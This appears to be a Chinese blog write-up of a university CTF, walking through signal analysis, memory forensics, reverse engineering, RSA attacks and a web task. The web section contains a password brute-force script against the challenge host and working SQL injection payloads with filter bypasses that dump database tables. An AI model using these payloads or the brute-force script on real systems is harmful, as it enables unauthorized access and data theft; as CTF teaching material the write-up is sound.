比赛地址：http://ctf-hainu.com
难度：大部分中等偏易
由于这是他们学校面向校内的普及性比赛，难度没有设定得太高。但有些题目还是很有意思的。这里记录一下其中一些有意思的题。
一、MISC 杂项
0x01.信号分析
题目：Hackcube 抓到的汽车遥控杆的信号，能看出其中有啥嘛？
提示：不包含同步位
附件：
知识点：信号分析
步骤：
1.先上网搜搜 Hackcube，搜到篇这种东西。主办方后来也放出了这个提示。
https://unicorn.360.com/hackcube/forum.php?mod=viewthread&tid=13&extra=page%3D1
2.根据里面的截图，拿 Audacity 看看。没看到什么。
3.后来主办方给出了提示，波形分析，就尝试打开左边这个菜单切换视图看看。
4.换到波形（dB）时有图像了，分析看看。
5.放大仔细看看，发现每个周期的信号都是大致上一致的，推断为一个内容的信号。
6.然后根据上面那篇帖子里提到了，应该是这种编码方式。两长为 1，两短为 0，先短后长为 F，无效码为先长后短。
7.信号的组成格式如下。
8.那么就来解读一下信号吧，再注意到提示里的无同步码，那么一开始 就是地址码了，解读如下。
9. 将其拼接在一起得 FFFFFFFF0001，md5 之后包上 flag{} 即为 flag。
10. Flag 到手~
0x02.你能发现什么蛛丝马迹吗
题目：藏了点东西进去，能从中发现一些东西吗？
附件：
知识点：内存取证，AES 解密
步骤：
1.对镜像进行分析，发现其中有许许多多文件。
2. 尝试 binwalk -e 对其进行提取，未果。
3. 后来发现这个文件为 128M，看起来像内存的大小，那么就看看怎么对其进行分析。上网搜索之后发现可以用 volatility 来对其进行分析。我懒得在 Mac 下装了，就直接切到自带这个工具的 Kali Linux 了。
4.来首先让这个玩意儿来分析一下镜像。
5. Windows 2003 的，那么就指定 profile 为 Win2003SP2x86 来扫描一下进程吧。
volatility -f memory.img –profile=Win2003SP2x86 psscan
6.可以看到只有一个 DumpIt.exe 是最近创建的。上网一搜发现这个就是内存取证的工具，再来从其他方面看看。来看看屏幕截图吧。
mkdir win2003
volatility -f memory.img –profile=Win2003SP2x86 screenshot –dump-dir=./win2003
这样就会把截图输出到 win2003。
只有这一个文件有内容。
7.打开有内容的截图看看，发现似乎打开了一个 flag.png 的窗口。看起来像 Windows 图片查看器- -？可惜乱码了。
8.那么再来读取一下文件列表看看有这个文件没。
volatility -f memory.img –profile=Win2003SP2x86 filescan|grep flag
9.啊哈，有，那么我们按照这个地址来导出文件试试。
volatility -f memory.img –profile=Win2003SP2x86 dumpfiles -Q 0x000000000484f900 -D win2003/
10.打开导出之后的文件看看。
是个二维码，扫描看看，为如下内容：
jfXvUoypb8p3zvmPks8kJ5Kt0vmEw0xUZyRGOicraY4=
解码之后意义不明，暂时搁置。
11.再来看看系统里的窗口列表。
volatility -f memory.img –profile=Win2003SP2x86 windows
看到 flag.png 是由 explorer.exe 进程里的 Windows 图片查看器打开的。（Windows 用得少不知道这个了- -）
12.那么我们来尝试 dump 一下 explorer.exe 这个进程的内存试试，pid 为 1992。
volatility -f memory.img --profile=Win2003SP2x86 memdump -p 1992 -D ./win2003/
13.ok，那么再对 dump 出来的内容恢复文件试试。试了试 binwalk 效果不好，来试试 foremost。
cd win2003
foremost 1992.dmp
14.来看看 png 那个目录。
除了之前找到的二维码，还有 key 和 iv。
15.那么就判定是 aes 加密了。按照所给的信息
密文：jfXvUoypb8p3zvmPks8kJ5Kt0vmEw0xUZyRGOicraY4=
key: Th1s_1s_K3y00000
iv: 1234567890123456
随意找个解密工具 http://tool.chacuo.net/cryptaes 解密看看：
16.Flag 到手~
二、Reverse 逆向
0x01. MFC
题目：直接看附件吧。
附件：
知识点：MFC，动态分析
原题以及 WP： https://bbs.pediy.com/thread-250802.htm
步骤：
1.先切到 Windows，然后在上面运行这个程序。
2.然后打开彗星小助手的窗口 SPY，来分析一下这个窗口。
3.窗口类名有点怪，留着。
944c8d100f82f0c18b682f63e4dbaa207a2f1e72581c2f1b
转成 text 也没结果。
4.再用 xspy 分析分析窗口。
5. 0464 这个消息有点意思，来发一个试试。回到彗星小助手，点击常用操作–>发送消息，填好信息点击发送。注意 0464 是十六进制表示，我们将其转为十进制就是 1124。
发送完毕，可以看到这个 Des key 了。
{I am a Des key}
6.推测上面那串东西是密文，那么就利用下面的信息来解密试试。
DES 密文：944c8d100f82f0c18b682f63e4dbaa207a2f1e72581c2f1b
DES 密钥：{I am a Des key}
7.找了个网站来解密。https://www.tools4noobs.com/online_tools/decrypt/
包上 flag{} 提交。
8.Flag 到手~
0x02.Maze
题目：找出花指令之后的迷宫
附件：
知识点：去壳，动/静态分析
步骤：
1.继续切到 Windows，发现其为命令行程序。
一闪而过。到 cmd 里打开看看。
2.然后用 peid 来看看有没有壳。
3.有 UPX 的壳，那拿 用 UPX Easy GUI 来脱个壳。
4.脱完壳， IDA 走一波。似乎 F5 转不了。
5.Never mind，我们可以看到这里似乎是接收 14 个字符。
6.再来看看下面的字符串部分，哟，这是啥。
7.似乎跟迷宫沾边儿了。那就用 Linux / Unix 下的 strings 命令来找找字符串吧。
strings maze*.exe
8.拷贝下来，还原迷宫，原则很简单，还原出来为矩形，+ 和 F 周围保证能有豁口（空格）即可，这样才不是死迷宫。
还原出来如下：
9. 用 UDLR 来表示上下左右，那么路线就描述为：
DDLLLDLLDDRRRU
10.输进去不对。也是呢- -咱们似乎还得看看程序。
11.IDA 下面似乎还是有花指令，OD 也看不出端倪。只看到有分支，但真正的分支判断看不出来。那就猜吧。
12.最后猜到 wsad 来表示上下左右的时候，可行。
13. Flag 到手~
三、Web
0x01.sql注入
题目：看靶机吧
知识点：爆破，sql 注入
步骤：
1.打开靶机，是这样一个页面。
2.看看源码，有个 hint “试试 hash”。
3.再打开那个登录页面，发现其提示密码为四位数字，再结合试试 hash，估计是得 md5了。
4.不磨叽，抓包，上脚本爆破。
import hashlib
import requests
url = "http://twobloom.club/login.php"
def test(password="0000"):
payload = "username=admin&password=" + hashlib.md5(password.encode()).hexdigest()
headers = {
'Content-Type': "application/x-www-form-urlencoded",
'cache-control': "no-cache",
'User-Agent': 'glzjin'
}
response = requests.request("POST", url, data=payload, headers=headers)
if response.text.find("密码错误") == -1:
return True
return False
for i in range(1, 9999):
password = str(i)
for j in range(0, 4 - len(password)):
password = "0" + password
print(password)
if test(password):
print("Found!")
break
跑出来了~
5.把 2019 md5 之后作为密码，可以登录了。
6.看下这个地方有没有注入，看来是有的。
7.多次测试，发现如下的 payload 可以绕过限制。
/**/绕空格，order by 闭合后引号。
keywords=a'/**/union/**/select/**/1,2,3/**/order/**/by/**/'
8.那么，就开始造作起来吧。看下有哪些数据库。
keywords=a'/**/union/**/select/**/1,group_concat(schema_name),3/**/from/**/information_schema.SCHEMATA/**/order/**/by/**/'
9.小老弟有 ctf 数据库呀。那来看看有啥表。
注意等于号也被过滤了，用 like 代替。
keywords=a'/**/union/**/select/**/1,group_concat(TABLE_NAME),3/**/from/**/information_schema.TABLES/**/where/**/table_schema/**/like/**/'ctf'/**/order/**/by/**/'
10.来看看 flag 表有啥列。
keywords=a'/**/union/**/select/**/1,group_concat(COLUMN_NAME),3/**/from/**/information_schema.COLUMNS/**/where/**/table_name/**/like/**/'flag'/**/order/**/by/**/'
11. OK，那就来读这一列上的内容了。
12.Flag 到手~
四、CRYPTO 密码学
三道都是 RSA。一个套路，p*q 得到 n 很容易，但从 n 在分解出 p 和 q 就很难了，特别是这两个数都特别大还是质数的时候，分解就很困难了。
RSA 加密的公钥和私钥都由这两个数生成。
所以，只要知道了 p 和 q，RSA 就不再安全了。
0x01.basic rsa
题目：最简单的 RSA 加密。
27565231154623519221597938803435789010285480123476977081867877272451638645710
附件：
知识点：RSA 加密原理。
步骤：
1.先打开这个 python 源码看看。
import gmpy2
from Crypto.Util.number import *
from binascii import a2b_hex,b2a_hex
flag = "*****************"
p = 262248800182277040650192055439906580479
q = 262854994239322828547925595487519915551
e = 65533
n = p*q
c = pow(int(b2a_hex(flag),16),e,n)
print c2.这感情好，p,q,e全给了，可以得出公钥和私钥了，直接上网找个加解密脚本改改~
https://gist.github.com/JekaDeka/c9b0f5da16625e3c7bd1033356354579
import random
from binascii import a2b_hex, b2a_hex
p = 262248800182277040650192055439906580479
q = 262854994239322828547925595487519915551
n = p * q
def multiplicative_inverse(a, b):
"""Returns a tuple (r, i, j) such that r = gcd(a, b) = ia + jb
"""
# r = gcd(a,b) i = multiplicitive inverse of a mod b
# or j = multiplicitive inverse of b mod a
# Neg return values for i or j are made positive mod b or a respectively
# Iterateive Version is faster and uses much less stack space
x = 0
y = 1
lx = 1
ly = 0
oa = a # Remember original a/b to remove
ob = b # negative values from return results
while b != 0:
q = a // b
(a, b) = (b, a % b)
(x, lx) = ((lx - (q * x)), x)
(y, ly) = ((ly - (q * y)), y)
if lx < 0:
lx += ob # If neg wrap modulo orignal b
if ly < 0:
ly += oa # If neg wrap modulo orignal a
# return a , lx, ly # Return only positive values
return lx
def gcd(a, b):
while b != 0:
a, b = b, a % b
return a
def generate_keypair(p, q):
# n = pq
n = p * q
# Phi is the totient of n
phi = (p - 1) * (q - 1)
# Choose an integer e such that e and phi(n) are coprime
e = 65533
# Use Euclid's Algorithm to verify that e and phi(n) are comprime
g = gcd(e, phi)
while g != 1:
e = random.randrange(1, phi)
g = gcd(e, phi)
# Use Extended Euclid's Algorithm to generate the private key
d = multiplicative_inverse(e, phi)
# Return public and private keypair
# Public key is (e, n) and private key is (d, n)
return ((e, n), (d, n))
def encrypt(pk, plaintext):
# Unpack the key into it's components
key, n = pk[0]
print(b2a_hex(plaintext.encode()))
# Convert each letter in the plaintext to numbers based on the character using a^b mod m
cipher = pow(int(b2a_hex(plaintext.encode()), 16), key, n)
# Return the array of bytes
return cipher
def decrypt(pk, cipher):
# Unpack the key into it's components
key, n = pk[1]
# Convert each letter in the plaintext to numbers based on the character using a^b mod m
cipher = pow(cipher, key, n)
# Return the array of bytes
cipher = a2b_hex(hex(cipher).split('0x')[1])
return cipher
pk = generate_keypair(p, q)
cipher = 27565231154623519221597938803435789010285480123476977081867877272451638645710
plaintext = decrypt(pk, cipher)
print(plaintext)
3.跑一下~
4.Flag 到手~
0x02.bbbbbbrsa
题目：继续继续。
2373740699529364991763589324200093466206785561836101840381622237225512234632
附件：
知识点：RSA 加密原理
步骤：
1.打开这两个文件看看。
enc：
p = 177077389675257695042507998165006460849
n = 37421829509887796274897162249367329400988647145613325367337968063341372726061
c = ==gMzYDNzIjMxUTNyIzNzIjMyYTM4MDM0gTMwEjNzgTM2UTN4cjNwIjN2QzM5ADMwIDNyMTO4UzM2cTM5kDN2MTOyUTO5YDM0czM3MjMencode(1).py
from base64 import b64encode as b32encode
from gmpy2 import invert,gcd,iroot
from Crypto.Util.number import *
from binascii import a2b_hex,b2a_hex
import random
flag = "******************************"
nbit = 128
p = getPrime(nbit)
q = getPrime(nbit)
n = p*q
print p
print n
phi = (p-1)*(q-1)
e = random.randint(50000,70000)
while True:
if gcd(e,phi) == 1:
break;
else:
e -= 1;
c = pow(int(b2a_hex(flag),16),e,n)
print b32encode(str(c))[::-1]e 是 50000~70000 随机的。
2.ok, 有 n 和 p 就可以求出 q 了。然后 e 那里爆破一下吧。特别注意，Python 在处理这种超大数除法的时候会有精度问题，需要调库或者自己实现。这里我去网上找了个实现。
https://blog.csdn.net/cidplp/article/details/16902983
import random
from binascii import a2b_hex, b2a_hex
from base64 import b64encode as b32encode
def hdiv(dividend, divisor, precision=0):
"""高精度计算除法，没有四舍五入
@author: cidplp
@param dividend:被除数
@type dividend:int
@param divisor:除数
@type divisor:int
@param precision:小数点后精度
@type precision:int
@return:除法结果
@rtype:str
"""
if isinstance(precision, int) == False or precision < 0:
print('精度必须为非负整数')
return
a = dividend
b = divisor
# 有负数的话做个标记
if abs(a + b) == abs(a) + abs(b):
flag = 1
else:
flag = -1
# 变为正数，防止取模的时候有影响
a = abs(a)
b = abs(b)
quotient = a // b
remainder = a % b
if remainder == 0:
return quotient
ans = str(quotient) + '.'
i = 0
while i < precision:
a = remainder * 10
quotient = a // b
remainder = a % b
ans += str(quotient)
if remainder == 0:
break
i += 1
if precision == 0:
ans = ans.replace('.', '')
if flag == -1:
ans = '-' + ans
return ans
p = 177077389675257695042507998165006460849
n = 37421829509887796274897162249367329400988647145613325367337968063341372726061
q = hdiv(n, p)
def gcd(a, b):
while b != 0:
a, b = b, a % b
return a
def multiplicative_inverse(a, b):
"""Returns a tuple (r, i, j) such that r = gcd(a, b) = ia + jb
"""
# r = gcd(a,b) i = multiplicitive inverse of a mod b
# or j = multiplicitive inverse of b mod a
# Neg return values for i or j are made positive mod b or a respectively
# Iterateive Version is faster and uses much less stack space
x = 0
y = 1
lx = 1
ly = 0
oa = a # Remember original a/b to remove
ob = b # negative values from return results
while b != 0:
q = a // b
(a, b) = (b, a % b)
(x, lx) = ((lx - (q * x)), x)
(y, ly) = ((ly - (q * y)), y)
if lx < 0:
lx += ob # If neg wrap modulo orignal b
if ly < 0:
ly += oa # If neg wrap modulo orignal a
# return a , lx, ly # Return only positive values
return lx
def generate_keypair(p, q, i):
# n = pq
n = p * q
# Phi is the totient of n
phi = (p - 1) * (q - 1)
# Choose an integer e such that e and phi(n) are coprime
e = i
# Use Extended Euclid's Algorithm to generate the private key
d = multiplicative_inverse(e, phi)
# Return public and private keypair
# Public key is (e, n) and private key is (d, n)
return ((e, n), (d, n))
def encrypt(pk, plaintext):
# Unpack the key into it's components
key, n = pk[0]
# Convert each letter in the plaintext to numbers based on the character using a^b mod m
cipher = pow(int(b2a_hex(plaintext.encode()), 16), key, n)
# Return the array of bytes
return cipher
def decrypt(pk, cipher):
try:
# Unpack the key into it's components
key, n = pk[1]
# Convert each letter in the plaintext to numbers based on the character using a^b mod m
cipher = pow(cipher, key, n)
# Return the array of bytes
cipher = a2b_hex(hex(cipher).split('0x')[1])
return cipher
except:
return None
cipher = 2373740699529364991763589324200093466206785561836101840381622237225512234632
phi = (p - 1) * (q - 1)
for i in range(0, 70001):
if gcd(i, phi) == 1:
pk = generate_keypair(p, q, i)
plaintext = decrypt(pk, cipher)
if plaintext is not None:
try:
if plaintext.decode().find('flag') != -1:
print(plaintext)
except:
pass
else:
continue
能正确解密并有 flag 字符的就是我们需要的，cipher 那里为上面的 enc 文件里的cipher 倒置之后的 base64解码数据。
3.跑一下~
4.Flag 到手~
0x03.together
题目：看附件吧。
附件：
知识点：RSA 共模攻击
参考：https://www.jianshu.com/p/2d95bdd0fb0d
步骤：
1.打开文件看看。
pubkey1.pem:
-----BEGIN PUBLIC KEY-----
MIIBITANBgkqhkiG9w0BAQEFAAOCAQ4AMIIBCQKCAQB1qLiqKtKVDprtS+NGGN++
q7jLqDJoXMlPRRczMBAGJIRsz5Dzwtt1ulr0s5yu8RdaufiYeU6sYIKk92b3yygL
FvaYCzjdqBF2EyTWGVE7PL5lh3rPUfxwQFqDR8EhIH5x+Ob8rjlkftIjHTBt1ThJ
JXvDBumXpQKGcBIknRaR9dwR1q8GU58/gIk5ND3eCTAadhrhLByWkHbFArxalx4Q
q8s2ZUe8lDc/N6V93EOFjbKbqqqtDmhniF6jdXQDAIwWTpx6+jmzxlCJoVHd2MBs
ZCcQhvklWtuKz4IYL4+iUpMKGHlhY1vCqFx2EzD4XIljFLP9rk7+9+CoyTuIVL/D
AgMACR0=
-----END PUBLIC KEY-----
pubkey2.pem:
-----BEGIN PUBLIC KEY-----
MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKCAQB1qLiqKtKVDprtS+NGGN++
q7jLqDJoXMlPRRczMBAGJIRsz5Dzwtt1ulr0s5yu8RdaufiYeU6sYIKk92b3yygL
FvaYCzjdqBF2EyTWGVE7PL5lh3rPUfxwQFqDR8EhIH5x+Ob8rjlkftIjHTBt1ThJ
JXvDBumXpQKGcBIknRaR9dwR1q8GU58/gIk5ND3eCTAadhrhLByWkHbFArxalx4Q
q8s2ZUe8lDc/N6V93EOFjbKbqqqtDmhniF6jdXQDAIwWTpx6+jmzxlCJoVHd2MBs
ZCcQhvklWtuKz4IYL4+iUpMKGHlhY1vCqFx2EzD4XIljFLP9rk7+9+CoyTuIVL/D
AgJbJQ==
-----END PUBLIC KEY-----
myflag1:
R3Noy6r3WLItytAmb4FmHEygoilucEEZbO9ZYXx5JN03HNpBLDx7fXd2fl+UL5+11RCs/y0qlTGURWWDtG66eNLzGwNpAKiVj6I7RtUJl2Pcm3NvFeAFwI9UsVREyh7zIV6sI9ZP8l/2GVDorLAz5ULW+f0OINGhJmZm8FL/aDnlfTElhQ87LPicWpXYoMtyr6WrxjK6Ontn8BqCt0EjQ7TeXZhxIH9VTPWjDmFdmOqaqdVIT+LZemTgLNESwM5nn4g5S3aFDFwj1YiDYl0/+8etvKfOrfoKOwR0CxsRHagwdUUTES8EcHLmMGCxCkDZn3SzmmA6Nb3lgLeSgG8P1A==myflag2:
O+rRCXI3aTB6P1rYIOPUdalUp6ujpwEq4I20CoWA+HIL8xxGtqY6N5gpr0guZv9ZgOEAMFnBxOqMdVNnB9GgnhmXtt1ZWydPqIcHvlfwpd/Lyd0XSjXnjaz3P3vOQvR71cD/uXyBA0XPzmnTIMgEhuGJVFm8min0L/2qI7wg/Z7w1+4mOmi655JIXeCiG23ukDv6l9bZuqfGvWCa1KKXWDP31nLbp0ZN2obUs6jEAa1qVTaX6M4My+sks+0VvHATrAUuCrmMwVEivqIJ/nS6ymGVERN6Ohnzyr168knEBKOVj0FAOx3YLfppMM+XbOGHeqdKJRLpMvqFXDMGQInT3w==两个公钥，两段密文。
2.先用 RsaCtfTool 看看两个公钥。
前面那个 1：
e:2333
后面那个 2：
e:23333
3.OK，n相同，e 不同，共模攻击，上脚本了。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys, gmpy, base64
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
def pad_even(x): # 重要！凑齐2位，将0x1 变成 0x01
return ('', '0')[len(x) % 2] + x
def CipherB2n(c): # 将base64编码后的密文转成数字
c2 = base64.b64decode(c)
temp = ''
for i in c2:
temp += pad_even(str(hex(i))[2:])
temp = eval('0x' + temp)
return (temp)
def CipherN2b(m): # 将数字转换成ascii
hex_m = hex(m)[2:]
if hex_m[-1] == 'L':
hex_m = hex_m[:-1]
return hex_m
if __name__ == '__main__':
sys.setrecursionlimit(1000000)
e1 = 2333 # 根据分解结果
e2 = 23333 # 根据分解结果
s = egcd(e1, e2)
s1 = s[1]
s2 = s[2]
c1 = 'R3Noy6r3WLItytAmb4FmHEygoilucEEZbO9ZYXx5JN03HNpBLDx7fXd2fl+UL5+11RCs/y0qlTGURWWDtG66eNLzGwNpAKiVj6I7RtUJl2Pcm3NvFeAFwI9UsVREyh7zIV6sI9ZP8l/2GVDorLAz5ULW+f0OINGhJmZm8FL/aDnlfTElhQ87LPicWpXYoMtyr6WrxjK6Ontn8BqCt0EjQ7TeXZhxIH9VTPWjDmFdmOqaqdVIT+LZemTgLNESwM5nn4g5S3aFDFwj1YiDYl0/+8etvKfOrfoKOwR0CxsRHagwdUUTES8EcHLmMGCxCkDZn3SzmmA6Nb3lgLeSgG8P1A=='
c2 = 'O+rRCXI3aTB6P1rYIOPUdalUp6ujpwEq4I20CoWA+HIL8xxGtqY6N5gpr0guZv9ZgOEAMFnBxOqMdVNnB9GgnhmXtt1ZWydPqIcHvlfwpd/Lyd0XSjXnjaz3P3vOQvR71cD/uXyBA0XPzmnTIMgEhuGJVFm8min0L/2qI7wg/Z7w1+4mOmi655JIXeCiG23ukDv6l9bZuqfGvWCa1KKXWDP31nLbp0ZN2obUs6jEAa1qVTaX6M4My+sks+0VvHATrAUuCrmMwVEivqIJ/nS6ymGVERN6Ohnzyr168knEBKOVj0FAOx3YLfppMM+XbOGHeqdKJRLpMvqFXDMGQInT3w=='
c1 = CipherB2n(c1)
c2 = CipherB2n(c2)
# print hex(c1)
n = 14853081277902411240991719582265437298941606850989432655928075747449227799832389574251190347654658701773951599098366248661597113015221566041305501996451638624389417055956926238595947885740084994809382932733556986107653499144588614105694518150594105711438983069306254763078820574239989253573144558449346681620784979079971559976102366527270867527423001083169127402157598183442923364480383742653117285643026319914244072975557200353546060352744263637867557162046429886176035616570590229646013789737629785488326501654202429466891022723268768841320111152381619260637023031430545168618446134188815113100443559425057634959299 # 共n
if s1 < 0:
s1 = - s1
c1 = modinv(c1, n)
elif s2 < 0:
s2 = - s2
c2 = modinv(c2, n)
m = (pow(c1, s1, n) * pow(c2, s2, n)) % n
print(m)
print(CipherN2b(m))
4.跑一下
5.将 hex 转为 text
6.Flag 到手~
1 个评论
匿名
bla